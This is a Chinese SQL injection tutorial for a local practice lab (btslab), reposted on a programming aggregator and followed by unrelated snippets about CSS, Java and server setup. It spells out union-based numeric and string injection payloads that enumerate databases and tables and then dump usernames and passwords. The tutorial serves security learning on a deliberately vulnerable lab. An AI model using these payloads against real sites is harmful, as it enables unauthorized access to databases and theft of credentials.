SQL注入(1)

基于联合调查的SQL注入

我们先了解一下mysql的系统函数

 

user()database()version()concat()group_concat()datadir
当前使用者的用户名

当前数据库名

数据库版本

连接一个或者多个字符串

接一个组的所有字符串,并以逗号分隔每一条数据读取数据库的绝对路径

这里给大家提供一个SQL注入的实验平台。http://localhost/btslab/vulnerability/ForumPosts.php?id=1(请打开phpstudy使用)

数字型注入

我们以http://localhost/btslab/vulnerability/ForumPosts.php?id=1为例,可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。

1.判断是否能sql注入:

http://localhost/btslab/vulnerability/ForumPosts.php?id=1'                     ①  页面返回错误

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=1        ②  页面返回正常

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2         ③  页面返回错误

如果符合上述三点则我们可以确定可以进行SQL注入,且id是一个注入点。

2.查数据库:

http://localhost/btslab/vulnerability/ForumPosts.php?id=1and ord(mid(version(),1,1))>51

如果返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0以下版本或者其他类型数据库。 

3.查字段:

a. http://localhost/btslab/vulnerability/ForumPosts.php?id=1 order by 5  

返回错误页面,说明字段小于5。

b.http://localhost/btslab/vulnerability/ForumPosts.php?id=1 order by 4   

返回正常页面,说明字段为4。

当然我们可以从1开始依次列举。

 5.查列数:

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,2,3,4 

我们发现页面返回给我们两个数字,2,4。 这里的2,4指是数据储存的位置,也就是我们可以把这个数字中的一个或者多个替换成我们想要查询的关键字。

6.查数据库名: 

 http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,database(),3,4              

浏览器给我们返回了bts  。说明这个网站 的数据库库名是 bts

7.查表:

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

(补充一下:MYSQL中有个数据库叫 information_schema,数据库中有个表名叫tables,其中的table_name列储存了所有数据库中的所有表名,而table_schema则储存着该表所在的数据库名,group_concat()可以把多项数据合成一个字符串返回)

查到bts下的表名:messages,posts,tdata,users

 8.同样我们也可以查询用户名和密码。

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,username,3,password

注意这里的users是表名,而不是固定的。

字符型注入          

简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型(需要使用单引号表示)。如:select * from 表名 where id ='1'

在这里我们仍然以http://localhost/btslab/vulnerability/ForumPosts.php?id=1 为例。

1.判断是否为字符型注入:

http://localhost/btslab/vulnerability/ForumPosts.php?id=1' ①页面返回错误

http://localhost/btslab/vulnerability/ForumPosts.php?id=1''②页面返回正常

如果符合上述情况,则可以确定这是字符型注入且id是一个注入点。

2.查字段:http://localhost/btslab/vulnerability/ForumPosts.php?id=1' order by 1 # (同上)

此时数据库中的查询语句为:select * from 表名 wher id='1' order by 1 #' 这里为了达到引号闭合的目的我们需要注释一个引号。

3.查列数:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,2,3,4 #

4.查数据库名:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,database(),3,4 #   得到表名bts

5.查表:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #

6.查询用户名和密码:

http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,username,3,password #

 

 

 

 

 

 

 

 

 

                                                

转载于:https://www.cnblogs.com/So7cool/p/9826616.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/413074.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[css] 怎样用纯CSS实现禁止鼠标点击事件?

[css] 怎样用纯CSS实现禁止鼠标点击事件? pointer-events: none; 是css3新出现的属性,意思就是禁止鼠标点击事件,当元素中有这一属性时,链接、点击事件统统失效。个人简介 我是歌谣,欢迎和大家一起交流前后端知识。放…

关于码云开源项目SpringBootAdmin多数据源配置

SpringBootAdmin是码云上一个以springboot为核心的开源的后台管理系统。这里是链接地址:点击打开链接由于是后台系统,应该采用数据库分离,权限,用户,角色和业务模块分开。application.properties #服务端口 server.por…

java将字符串转换成可执行代码

使用commons的jexl可实现将字符串变成可执行代码的功能通用工具类:/** * * author: Longjun * Description: 使用commons的jexl可实现将字符串变成可执行代码的功能 * date:2016年3月21日 下午1:45:13 */ public static Object convertToCode(String jexlExp,Map&…

22.敏捷估计与规划——Why Agile Planning Works笔记

00.经常进行重规划,是敏捷规划和估计为有效探索新产品开发解决方案控件提供支持的方法之一。在每次迭代开始时,都要建立该迭代的计划。发布计划要么在每次迭代后背更新,或者最差的时候也要在每几次迭代后被更新。计划要保持有用,就…

[css] 当全国哀悼日时,怎么让整个网站变成灰色呢?

[css] 当全国哀悼日时,怎么让整个网站变成灰色呢? body{-webkit-filter: grayscale(1);filter: grayscale(1); }/* OR */body{-webkit-filter: grayscale(100%);filter: grayscale(100%); }个人简介 我是歌谣,欢迎和大家一起交流前后端知识…

jeesite使用心得(一)

<update id"updateSelective">UPDATE ${table.name} <set> <#list table.columnList as c><#if c.isEdit?? && c.isEdit "1"><if test"${c.javaFieldId} ! null" >${c.name} ${"#"}{${c.ja…

java List集合转换为List Map集合

/*** 将List<Object>转换为List<Map<String,Object>>* param list* return*/private List<Map<String,Object>> convertListMap(List<Object> list){List<Map<String,Object>> mapsnew ArrayList<Map<String,Object>…

[css] 如果给一个元素设置background-color,它的颜色会填充哪些区域呢?

[css] 如果给一个元素设置background-color,它的颜色会填充哪些区域呢&#xff1f; 个人简介 我是歌谣&#xff0c;欢迎和大家一起交流前后端知识。放弃很容易&#xff0c; 但坚持一定很酷。欢迎大家一起讨论 主目录 与歌谣一起通关前端面试题

jeesite使用心得(二)

按照上一篇的内容&#xff0c;有一些缺陷的地方。分页对象传什么都可以&#xff0c;但是返回的是list<HashMap<String,Object>>集合的话&#xff0c;分页方法就是无效了。这里把我写的贴一下: Controller: // 带条件分页Integer pageNo null;Integer pageSize …

jqgrid删除某一列(隐藏)

$("#jqGrid_table").setGridParam().hideCol("列的名字");//隐藏 $("#jqGrid_table").setGridParam().showCol("列的名字");//显示

一个设计项调另一个设计项(支持多选传值)

//方案管理中起企业按钮中的前端代码function(button, record, e) {debugger; // 中断调试指令&#xff0c;可以手动删除它var me this; // this 为列表视图控制器var viewModel this.getViewModel(); // 获取视图模型var grid this.getView();…

[css] 使用css3做一个魔方旋转的效果

[css] 使用css3做一个魔方旋转的效果 总的来说&#xff0c;用了一些 3D 效果的样式&#xff0c;如 translate3d&#xff0c;rotate3d&#xff0c;perspective&#xff0c;transform-style: preserve-3d; 等&#xff0c;感兴趣的可以去看看它的样式文件个人简介 我是歌谣&…

linux安装elasticsearch5.5

大家好&#xff0c;我是烤鸭: 我是采用官网下载tar包的方式安装的。 安装环境&#xff1a;centos 7.2,jdk1.8 下载地址: https://www.elastic.co/downloads/elasticsearch 1.解压缩&#xff1a; 解压 elasticsearch.5.5.2.tar.gz tar -zxvf elasticsearch-5.2.2.tar.gz2.创…

eclipse创建folder变成package解决方案

1,项目右键—-选择properties 2,选择Java Build Path—-选择Source 3,选择xxxx/src/main/resources下面的Excluded,点击Edit 4,在Exclusion patterns下面选中第一个&#xff0c;点击右边的edit 5,方案一&#xff1a;在Browse按钮左边的输入框修改为 ** 方案二&#xff1a;…

[css] 手写一个使用css3旋转硬币的效果

[css] 手写一个使用css3旋转硬币的效果 两种实现方式&#xff1a;1、animationkeyframes 2、transition&#xff1a; //第一种实现方式 <style type"text/css"> .around{ width:200px; height:200px; background:orange; /*圆形的话看不出效果&#xff0c;所以…

0076-小升初1:生日蛋糕

题目 小升初1&#xff1a;生日蛋糕难度级别&#xff1a;B&#xff1b; 运行时间限制&#xff1a;1000ms&#xff1b; 运行空间限制&#xff1a;256000KB&#xff1b; 代码长度限制&#xff1a;2000000B 试题描述一个中学生&#xff08;在线测评系统的系统管理员&#xff09;过生…

tomcat9-jenkins:insufficient free space available after evicting expired cache entries-consider

解决该问题方法&#xff0c;修改tomcat/conf/context.xml文件&#xff0c;增加资源最大可缓存的大小&#xff1a;<Context><!-- Default set of monitored resources. If one of these changes, the --><!-- web application will be reloaded. …

[css] height和line-height的区别是什么呢?

[css] height和line-height的区别是什么呢&#xff1f; height&#xff1a;元素content area的高度line-height&#xff1a;元素中&#xff0c;多行文字基线的距离个人简介 我是歌谣&#xff0c;欢迎和大家一起交流前后端知识。放弃很容易&#xff0c; 但坚持一定很酷。欢迎大…

laydate根据开始时间或者结束时间限制范围

$(window).load(function(){//初始化时间控件var cartimeDate laydate.render({elem: #cartime //用车时间,type: datetime,format: yyyy-MM-dd HH:mm,done:function(value, date){returntimeDate.config.mingetDateArray(date);//重点}});var returntimeDate laydate.render…

Django Form -- 字段的用法扩展

form.py的代码 from django import forms from django.forms import fields from django.forms import widgetsclass DetailForm(forms.Form):inp fields.CharField()required inp fields.CharField(requiredFalse)  #表单可以为空 inp fields.CharField(requiredTrue) …